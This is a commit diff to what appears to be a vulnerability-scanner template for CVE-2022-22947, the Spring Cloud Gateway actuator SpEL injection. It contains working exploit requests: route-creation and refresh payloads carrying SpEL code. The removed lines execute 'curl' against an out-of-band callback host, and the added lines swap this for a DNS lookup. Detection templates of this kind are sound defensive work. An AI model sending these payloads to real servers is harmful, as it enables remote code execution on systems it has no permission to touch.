minor updates

cves/2022/CVE-2022-22947.yaml

@@ -10,12 +10,12 @@ info:
     - https://github.com/wdahlenburg/spring-gateway-demo
     - https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
     - https://tanzu.vmware.com/security/cve-2022-22947
-  tags: cve,cve2022,apache,spring,vmware,actuator
+  tags: cve,cve2022,apache,spring,vmware,actuator,oast
 
 requests:
   - raw:
       - |
-        POST /actuator/gateway/routes/new_route HTTP/1.1
+        POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/json
 
@@ -24,7 +24,7 @@ requests:
             {
               "name": "Path",
               "args": {
-                "_genkey_0": "/new_route/**"
+                "_genkey_0": "/{{randstr}}/**"
               }
             }
           ],
@@ -32,36 +32,46 @@ requests:
             {
               "name": "RewritePath",
               "args": {
-                "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"curl {{interactsh-url}}\")}",
+                "_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}",
                 "_genkey_1": "/${path}"
               }
             }
           ],
-          "uri": "https://wya.pl",
+          "uri": "{{RootURL}}",
           "order": 0
         }
+
       - |
         POST /actuator/gateway/refresh HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/json
 
         {
-          "predicate": "Paths: [/new_route], match trailing slash: true",
-          "route_id": "new_route",
+          "predicate": "Paths: [/{{randstr}}], match trailing slash: true",
+          "route_id": "{{randstr}}",
           "filters": [
-            "[[RewritePath #{T(java.lang.Runtime).getRuntime().exec(\"curl {{interactsh-url}}\")} = /${path}], order = 1]"
+            "[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]"
           ],
-          "uri": "https://wya.pl",
+          "uri": "{{RootURL}}",
           "order": 0
         }
 
+      - |
+        DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
+        Host: {{Hostname}}
+
     matchers-condition: and
     matchers:
       - type: status
         status:
           - 201
 
+      - type: word
+        part: header
+        words:
+          - "/routes/{{randstr}}"
+
       - type: word
         part: interactsh_protocol
         words:
-          - "http"
+          - "dns"